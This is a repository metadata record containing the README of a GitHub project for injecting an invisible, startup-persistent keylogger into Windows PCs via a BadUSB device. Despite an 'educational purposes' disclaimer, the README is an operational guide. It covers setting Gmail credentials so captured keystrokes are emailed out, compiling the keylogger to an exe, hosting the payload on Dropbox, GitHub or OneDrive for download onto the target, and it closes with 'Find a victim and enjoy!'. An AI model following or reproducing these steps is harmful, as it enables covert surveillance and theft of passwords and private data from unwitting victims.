{"id":18917189,"url":"https://github.com/tuconnaisyouknow/badusb_keyloggerinjector","last_synced_at":"2025-09-12T21:19:12.498Z","repository":{"id":45527812,"uuid":"470693636","full_name":"tuconnaisyouknow/BadUSB_keyloggerInjector","owner":"tuconnaisyouknow","description":"This script allows you to inject an invisible keylogger thanks to a Bad USB.","archived":false,"fork":false,"pushed_at":"2023-09-30T13:28:04.000Z","size":52,"stargazers_count":109,"open_issues_count":1,"forks_count":67,"subscribers_count":3,"default_branch":"main","last_synced_at":"2025-04-15T11:51:18.787Z","etag":null,"topics":["arduino","bad-usb","badusb","duckyscript","grabber","keylogger","malduino","malduinoscripts","payload","powershell","rubber","rubber-ducky","rubberducky","script","startup","startup-script","stealer","usb-hid"],"latest_commit_sha":null,"homepage":"","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/tuconnaisyouknow.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2022-03-16T17:50:37.000Z","updated_at":"2025-04-03T12:44:43.000Z","dependencies_parsed_at":"2024-11-08T10:39:50.047Z","dependency_job_id":null,"html_url":"https://github.com/tuconnaisyouknow/BadUSB_keyloggerInjector","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/tuconnaisyouknow/BadUSB_keyloggerInjector","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tuconnaisyouknow%2FBadUSB_keyloggerInjector","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tuconnaisyouknow%2FBadUSB_keyloggerInjector/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tuconnaisyouknow%2FBadUSB_keyloggerInjector/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tuconnaisyouknow%2FBadUSB_keyloggerInjector/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/tuconnaisyouknow","download_url":"https://codeload.github.com/tuconnaisyouknow/BadUSB_keyloggerInjector/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tuconnaisyouknow%2FBadUSB_keyloggerInjector/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":272294158,"owners_count":24908772,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","status":"online","status_checked_at":"2025-08-27T02:00:09.397Z","response_time":76,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["arduino","bad-usb","badusb","duckyscript","grabber","keylogger","malduino","malduinoscripts","payload","powershell","rubber","rubber-ducky","rubberducky","script","startup","startup-script","stealer","usb-hid"],"created_at":"2024-11-08T10:24:31.772Z","updated_at":"2025-08-27T05:14:43.132Z","avatar_url":"https://github.com/tuconnaisyouknow.png","language":"Python","funding_links":[],"categories":[],"sub_categories":[],"readme":"# BadUSB_passStealer\n# Warning ⚠️\nEverything in this repository is **strictly** for educational purposes. Notice **I am not responsible** for stolen data. **You are responsible** for your actions using developed script for **BadUSB**.\n# About ℹ️\nThis **script** allows you to inject an invsible **keylogger** which run on **Windows** startup. To do this i used this [keylogger script](https://github.com/x4nth055/pythoncode-tutorials/tree/master/ethical-hacking/keylogger).\n### NB n°1 (for arduino BadUSB)\nSometimes, you will see something like this : \n``` \nKeyboard.press(KEY_LEFT_CTRL);\nKeyboard.press(KEY_LEFT_ALT);\nKeyboard.press(173);\nKeyboard.releaseAll(); \n```\nThis is only to write these characters : \"@\", \"\\\\\". But it depends on the computer's layout, so adapt these characters thanks to this [site](https://www.csee.umbc.edu/portal/help/theory/ascii.txt) and the sequence you actually use to wirte these characters with your keyboard. (or switch the keyboard layout to French).\n### US Layout\nFor US layout you only have to replace by this for \"\\\\\" :\n```\nKeyboard.press(92);\nKeyboard.releaseAll();\n```\nAnd by this for \"@\" :\n```\nKeyboard.press(64);\nKeyboard.releaseAll();\n```\n### NB n°2\nYou can customize the **delay** according to the speed in which you plug the **BadUSB**.\n### NB n°3\nWhen you plug the BadUSB in a PC you  have to wait for the caps lock to flash to unplug it.\n# Getting Started ✔️\n## Requirments\n1. Have a **BadUSB**.\n\n2. Install **Arduino software** [here](https://www.arduino.cc/en/software) (if you have a BadUSB based on Arduino);\n\n3. Have a **Gmail** account and enable **less secure app** [here](https://www.google.com/settings/security/lesssecureapps);\n\n4. Have latest python version installed on your PC;\n\n5. Have latest pip version installed on your PC;\n\n6. Have a victim with **Windows OS** installed in his PC;\n# Install latest version of Python and pip\n## Python\n1. Download latest python version (installer 64-bit or 32-bit) [here](https://www.python.org/downloads/windows/);\n2. Now run the installer\n3. Select \"Add python.exe to PATH\" checkbox and then click on \"install now\";\n## Pip\n1. Launch a powershell prompt and run the following command to download get-pip.py :\n```\ncurl https://bootstrap.pypa.io/get-pip.py -o get-pip.py\n```\n2. Then run the following command to install pip :\n```\npython get-pip.py\n```\n## Install\n1. Download this repository;\n\n**Linux :**\n```\ngit clone https://github.com/tuconnaisyouknow/BadUSB_keyloggerInjector\ncd BadUSB_keyloggerInjector\n```\n**Windows :** Click on green button on right top of main page. Then click on \"Download Zip\" and extract zip file.\n\n2. Replace your mail and password [here](https://github.com/tuconnaisyouknow/BadUSB_keyloggerInjector/blob/main/keylogger.py) at line 8, 9;\n\n3. Convert keylogger.py in exe file with this command :\n```\npip install pyinstaller\npyinstaller --onefile -w keylogger.py\n```\n4. [Upload](https://github.com/tuconnaisyouknow/BadUSB_keyloggerInjector/edit/main/README.md#how-to-set-a-link-for-wget-the-script-%EF%B8%8F) your files to download them;\n\n5. Replace link [here](https://github.com/tuconnaisyouknow/BadUSB_keyloggerInjector/blob/main/keylogger.ino) with keylogger.exe link at line 93;\n\n6. Put the .ino or .txt file in your BadUSB;\n\n7. Find a victim and enjoy !\n## Requirments for victim PC\n* Turn off caps lock.\n* Switch the keyboard layout to French (or adapt the code according to your layout).\n# How to set a link for wget the script ⬇️\nRemember to upload first keylogger.exe file to add its link into the startSrcipt.ps1 file.\n## Dropbox\n1. Create a dropbox account [here](https://www.dropbox.com);\n\n2. Upload your file;\n\n3. Copy the link of the file and change ?dl=0 by ?dl=1;\n\n4. You will get a link like this : https://dropbox.com/s/link/YOURFILE?dl=1;\n\n5. Now put these link in the [.ino](https://github.com/tuconnaisyouknow/BadUSB_keyloggerInjector/blob/main/BadUSB_keyloggerInjector.ino) or [.txt](https://github.com/tuconnaisyouknow/BadUSB_keyloggerInjector/blob/main/BadUSB_keyloggerInjector.txt) file;\n## Github\n1. Create a Github account [here](https://github.com/signup);\n\n2. Create a public repository;\n\n3. Upload your file;\n\n4. Go to your file page and click on RAW button;\n\n5. Copy the RAW page link and put it in the [.ino](https://github.com/tuconnaisyouknow/BadUSB_keyloggerInjector/blob/main/BadUSB_keyloggerInjector.ino) or [.txt](https://github.com/tuconnaisyouknow/BadUSB_keyloggerInjector/blob/main/BadUSB_keyloggerInjector.txt) file;\n## One Drive\n1. Create a One Drive account [here](https://signup.live.com/signup);\n\n2. Upload your file;\n\n3. Follow this [tutorial](https://mangolassi.it/topic/19276/how-to-configure-a-onedrive-file-for-use-with-wget);\n\n4. Put the link you got in the [.ino](https://github.com/tuconnaisyouknow/BadUSB_keyloggerInjector/blob/main/BadUSB_keyloggerInjector.ino) or [.txt](https://github.com/tuconnaisyouknow/BadUSB_keyloggerInjector/blob/main/BadUSB_keyloggerInjector.txt) file;\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Ftuconnaisyouknow%2Fbadusb_keyloggerinjector","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Ftuconnaisyouknow%2Fbadusb_keyloggerinjector","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Ftuconnaisyouknow%2Fbadusb_keyloggerinjector/lists"}